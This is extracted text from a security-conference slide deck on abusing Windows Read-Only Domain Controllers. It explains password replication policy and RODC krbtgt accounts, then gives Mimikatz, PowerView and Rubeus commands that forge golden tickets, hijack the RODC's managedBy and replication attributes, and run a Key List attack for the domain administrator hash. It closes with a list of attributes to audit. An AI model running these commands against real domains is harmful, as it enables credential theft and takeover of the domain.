《重新審視 RODC 的濫用.pdf》由會員分享,可在線閱讀,更多相關《重新審視 RODC 的濫用.pdf(49頁珍藏版)》請在三個皮匠報告上搜索。
1、Revisiting a Abuse of Read-Only Domain Controllers(RODCs)WHOAMI|wh0amitz Researcher XIAORANG.LAB Enthusiast in Offensive Security Web Security Kerberos Active Directory Post Exploitation KRBUACBypass|PetitPotato|S4UTomato Blog:whoamianony.top Twitter&Github:wh0amitz只讀域控制器(Read-Only Domain Controller
2、,RODC)是 Windows Server 操作系統中,可以在無法保證物理安全性的地方輕松部署的一種域控制器?!爸蛔x域控”托管 Active Directory 的只讀分區。通常用于分支辦公室的身份驗證。Read-Only Domain ControllerRead-only AD DS databaseUnidirectional replicationCredential cachingAdministrator role separationRead-only Domain Name System(DNS)New Functionality RODCs Provide除了帳戶密碼之外,
3、“只讀域控”保存了可寫域控制器持有的所有 Active Directory 對象和屬性。然而,在存儲在“只讀域控”上的數據庫上不能進行更改。必須在可寫域控制器上進行更改,然后將更改復制回“只讀域控”。請求對“只讀域控”目錄進行讀取訪問的本地應用程序可以獲得訪問權限。請求寫訪問權限的 LDAP 應用程序會收到 LDAP 引用響應。此響應將它們定向到可寫域控制器(通常位于中心站點)。Read-only AD DS Database由于沒有任何更改直接寫入“只讀域控”,因此沒有任何更改源自“只讀域控”。因此,作為復制伙伴的可寫域控不必從“只讀域控”中復制更改。這意味著惡意用戶在分支位置進行的任何更改
4、或損壞都無法從只讀域控復制到林的其余部分。Unidirectional Replication默認情況下,只讀域控不存儲用戶或計算機憑據。除只讀域控的計算機賬戶和每個只讀域控擁有的特殊 Krbtgt 帳戶外,域內其他用戶或計算機憑據在只讀域控上默認存儲為空。當“只讀域控”提供服務的站點中的用戶或計算機嘗試向域進行身份驗證時,“只讀域控”默認情況下無法驗證其憑據。然后,“只讀域控”將身份驗證請求轉發到可寫域控制器。帳戶成功通過身份驗證后,“只讀域控”嘗試聯系中心站點上的可寫域控制器并請求相應憑據的副本,此時可寫域控將查閱對該“只讀域控”有效的“密碼復制策略”,并確定用戶的或計算機的憑據是否可以從
5、可寫域控制器復制到“只讀域控”。如果密碼復制策略允許,可寫域控制器會將憑據復制到“只讀域控”并且緩存它們。Credential Caching默認情況下,在“只讀域控”上不緩存賬戶密碼。這得益于“只讀域控”中“密碼復制策略(PRP,Password Replication Policy)”的默認設置:Account Operators:拒絕Administrators:拒絕Allowed RODC Password Replication Policy:允許Backup Operators:拒絕Denied RODC Password Replication Policy:拒絕Server O
6、perators:拒絕此外,還存在一個“Denied RODC Password Replication Group”組,用于明確拒絕將其帳戶密碼復制到“只讀域控”,默認包含以下成員:Cert PublishersDomain AdminsDomain ControllersEnterprise AdminsGroup Policy Creator OwnersKrbtgtRead-only Domain Controllers(RODC 的計算機帳戶密碼存儲在其本地)Schema Admins“密碼復制策略”確保了,如果“只讀域控”被破壞,只有緩存的憑證才有可能被盜。但這會導致所有身份驗證請
7、求都轉發到可寫域控制器。此外,當只讀域控與可寫域控的網絡連接中斷時,分支網絡中的身份驗證將失敗。因此,管理員往往會修改默認的“密碼復制策略”,以允許在“只讀域控”中緩存用戶的憑據。PRP 由兩個包含安全主體(用戶、計算機和組)的多值 Active Directory 屬性定義。每個“只讀域控”計算機帳戶都具有這兩個屬性:msDS-RevealOnDemandGroup,也被稱為“Allowed List”,允許列表,包含允許列表的成員 DN。msDS-NeverRevealGroup,也被稱為“Denied List”,拒絕列表,包含拒絕列表的成員 DN。此外,為了幫助管理 PRP,為每個“只
8、讀域控”維護與 PRP 相關的另外兩個多值屬性:msDS-RevealedList,也稱為“Revealed List”,已揭示列表,包含密碼曾被復制到 RODC 的安全主體的 DN。msDS-AuthenticatedToAccountList,也被稱為“Authenticated to List”,已驗證到列表,包含已經過身份驗證的安全主體的 DN?!爸蛔x域控”的本地管理權限可以被委派給任何域用戶或組,而無需向該用戶或組授予該域或其他域控制器的任何訪問權限。被委派的域用戶或組具有對“只讀域控”服務器的本地管理員級別的訪問權限。這允許本地分支用戶登錄到“只讀域控”并在服務器上執行維護工作,例
9、如升級驅動程序。但是,分支用戶無法登錄到任何其他域控制器或在域中執行任何其他管理任務。Administrator Role Separation每個 Active Directory 域都有一個名為“Krbtgt”的 Kerberos 服務帳戶,用于簽署所有 Kerberos 票證并加密所有 TGT。每個“只讀域控”都有自己特定的 Krbtgt 帳戶,該帳戶特定于該“只讀域控”并且與可寫域控的 Krbtgt 帳戶隔離?!爸蛔x域控”Krbtgt 帳戶遵循命名格式“Krbtgt_xxxxx”,其中 xxxxx 是密鑰版本號。Krbtgt 帳戶的 DN 名稱存儲在“只讀域控”計算機對象的 msDS-
10、KrbTgtLink 屬性中,“只讀域控”計算機對象的 DN 名稱存儲在 Krbtgt 帳戶的 msDS-KrbTgtLinkBl 屬性中。這兩個屬性用于將“只讀域控”與其 Krbtgt 賬戶的關聯/鏈接。Kerberos Service AccountsAttack with RODCs當攻擊者接管了“只讀域控”主機后,可以在“只讀域控”上面轉儲 NTDS.dit 來提取部分域憑據,例如“只讀域控”的 Krbtgt 賬戶(這里是 krbtgt_17748)。攻擊者可以用這個 krbtgt_17748 賬戶,通過 Mimikatz 工具偽造 Golden Tickets,用于后續對“只讀域控”
11、的持久性訪問。Golden Tickets(Restricted)mimikatz.exe kerberos:golden/user:Administrator/domain:corp.local/sid:S-1-5-21-1076904399-1612789786-3660608273/krbtgt:74379bc566c6ab7ccdfbb7388f303cef/rodc:17748/ticket:golden.kirbi exitmimikatz.exe kerberos:purge kerberos:ptt golden.kirbi exit如果攻擊者可以轉儲“只讀域控”上的 NTDS
12、.dit,并且能夠提取到計算機賬戶的哈希時,就可以用這個哈希值,通過 Mimikatz 工具偽造 Silver Tickets 來接管這臺計算機。Silver Tickets除了偽造 Silver Tickets 以外,在獲取計算機賬戶的憑據后,還可以通過濫用 S4U2Self 來獲得對該主機的控制權限。S4U2Self“When a Key Distribution Center(KDC)receives a TGS-REQ message for the krbtgt service name(sname)containing a KERB-KEY-LIST-REQ 161(section
13、 3.1.5.1)padata type the KDC SHOULD include the long-term secrets of the client for the requested encryption types in the KERB-KEY-LIST-REP 162 response message and insert it into the encrypted-pa-data of the EncKDCRepPart structure,as defined in RFC6806.”Key List AttackKERB-KEY-LIST-REQ 結構用于請求 KDC
14、可以提供給客戶端的“密鑰類型列表”,以支持舊協議中的單點登錄功能。其結構是使用 ASN.1 表示法定義的。語法如下:KERB-KEY-LIST-REQ:=SEQUENCE OF Int32-encryption type-KERB-KEY-LIST-REP 結構包含 KDC 提供給客戶端的“密鑰類型列表”,以支持舊協議中的單點登錄功能。其結構語法如下:KERB-KEY-LIST-REP:=SEQUENCE OF EncryptionKeyMisconfiguration of RODC in Real-worldMisconfig#1 Unexpected Credential Caching
15、通常情況下,由于管理員的錯誤配置或疏忽操作,“只讀域控”能夠存儲的賬戶憑據比預期的要多。例如,企業或組織中的管理員為了使用“只讀域控”進行身份驗證,往往會通過配置密碼復制策略(PRP),允許“Authenticated Users”、“Domain Users”或“RODC Admins”組在“只讀域控”上存儲密碼。這就會導致環境中大量用戶的密碼最終將被緩存在“只讀域控”上。Misconfiguration in PRP通過枚舉“只讀域控”的 msDS-RevealOnDemandGroup 屬性,我們可以查看哪些用戶/組的密碼允許被復制到“只讀域控”。Get-ADComputer RODC-
16、Properties msDS-RevealOnDemandGroup為了進一步確定哪些賬戶的密碼曾被復制到了“只讀域控”,我們還需要枚舉 msDS-RevealedList 屬性。$FormatEnumerationLimit=-1 Get-ADComputer RODC-Properties msDS-RevealedList然而,在錯誤配置的情況下,只讀域控(RODC)也可能在域上具有“Replicating Directory Changes All”權限。這是可能由管理員主動授予的,可能是直接授予“Read-only Domain Controllers”或“Enterprise R
17、ead-only Domain Controllers”組、RODC 對象,或通過其他組成員身份間接授予的。通過“Replicating Directory Changes All”權限,所有用戶屬性,包括密碼,都會從上游可寫域控制器復制到“只讀域控”,就好像“只讀域控”是普通的讀寫域控(RWDC)一樣。Unexpected Permissions in Replication當創建一個“只讀域控”時,會在安裝導向中允許網絡管理員配置“Delegated administrator account”選項,如果管理員忽視該選項該選項的配置,那么該選項將保持默認為空的狀態。當該服務器提升為只讀域控
18、制器后,如果管理員仍未為這臺“只讀域控”委派管理權限,那么只有域管理員才能登陸這臺“只讀域控”。Unexpected LSA CacheMisconfig#2-Control of The RODC Active Director y Computer Object通過修改“只讀域控”的 ManagedBy 屬性,攻擊者可以將“只讀域控”的管理權限委派給任意可控的域用戶,并接管“只讀域控”的完全控制權限。Take over RODC Manage DelegationImport-Module.PowerView.ps1 Set-DomainObject-Identity CN=RODC,OU
19、=Domain Controllers,DC=corp,DC=local-Set managedBy=CN=Marcus,CN=Users,DC=corp,DC=local接管“只讀域控”之后,攻擊者可以轉儲“只讀域控”Krbtgt 賬戶憑據。然后,通過修改“只讀域控”的 msDS-NeverRevealGroup 和 msDS-RevealOnDemandGroup 屬性實現 Key List Attack,最終可以實現域提權。Domain Privilege Escalation(1)將域管理員賬戶添加到“只讀域控”的 msDS-RevealOnDemandGroup 屬性中:#導入 Po
20、werView 模塊 Import-Module.PowerView.ps1#獲取當前屬性值 Get-DomainObject CN=RODC,OU=Domain Controllers,DC=corp,DC=local-Properties msDS-RevealOnDemandGroup|Select-Object-ExpandProperty msDS-RevealOnDemandGroup#設置新的屬性值 Set-DomainObject-Identity CN=RODC,OU=Domain Controllers,DC=corp,DC=local-Set msDS-RevealOnD
21、emandGroup=(CN=Allowed RODC Password Replication Group,CN=Users,DC=corp,DC=local,CN=Domain Users,CN=Users,DC=corp,DC=local,CN=Administrator,CN=Users,DC=corp,DC=local,CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=corp,DC=local)(2)暫時將“只讀域控”的 msDS-NeverRevealGroup 屬性中值清空:#導入 PowerView 模塊 Import-Module.Po
22、werView.ps1#獲取當前屬性值 Get-DomainObject CN=RODC,OU=Domain Controllers,DC=corp,DC=local-Properties msDS-NeverRevealGroup|Select-Object-ExpandProperty msDS-NeverRevealGroup#清空 msDS-NeverRevealGroup 的屬性值 Set-DomainObject-Identity CN=RODC,OU=Domain Controllers,DC=corp,DC=local-Clear msDS-NeverRevealGroup#恢
23、復 msDS-NeverRevealGroup 的屬性值 Set-DomainObject-Identity CN=RODC,OU=Domain Controllers,DC=corp,DC=local-Set msDS-NeverRevealGroup=(CN=Denied RODC Password Replication Group,CN=Users,DC=corp,DC=local,CN=Account Operators,CN=Builtin,DC=corp,DC=local,CN=Server Operators,CN=Builtin,DC=corp,DC=local,CN=Bac
24、kup Operators,CN=Builtin,DC=corp,DC=local,CN=Administrators,CN=Builtin,DC=corp,DC=local)(3)之后,執行 Key List Attack 為域管理員用戶 Administrator 偽造一個 Golden Tickets,并向可寫域控的 Krbtgt 服務發起包含 KERB-KEY-LIST-REQ 結構的 KRB_TGS_REQ 請求,最終將獲取到 Administrator 用戶的哈希值。#為 Administrator 用戶偽造 Golden TicketsRubeus.exe golden/rodc
25、Number:17748/rc4:74379bc566c6ab7ccdfbb7388f303cef/user:Administrator/id:500/domain:corp.local/sid:S-1-5-21-1076904399-1612789786-3660608273#發起 Key List 請求 Rubeus.exe asktgs/enctype:rc4/keyList/service:krbtgt/corp.local/dc:dc01.corp.local/ticket:SharpRODChttps:/ of the RODC objectRODCs Krbtgt account
26、DACL of the Allowed RODC Password Replication Group objectDACL of the Denied RODC Password Replication Group objectmanagedBy attribute value of RODC objectDACL of the user or group to whom RODC administrative rights are delegatedmsDS-RevealOnDemandGroup attribute value of the RODC objectmsDS-NeverRevealGroup attribute value of the RODC objectmsDS-RevealedList attribute value of the RODC objectRODC-related DACL on the domain partition objectTHANK YOU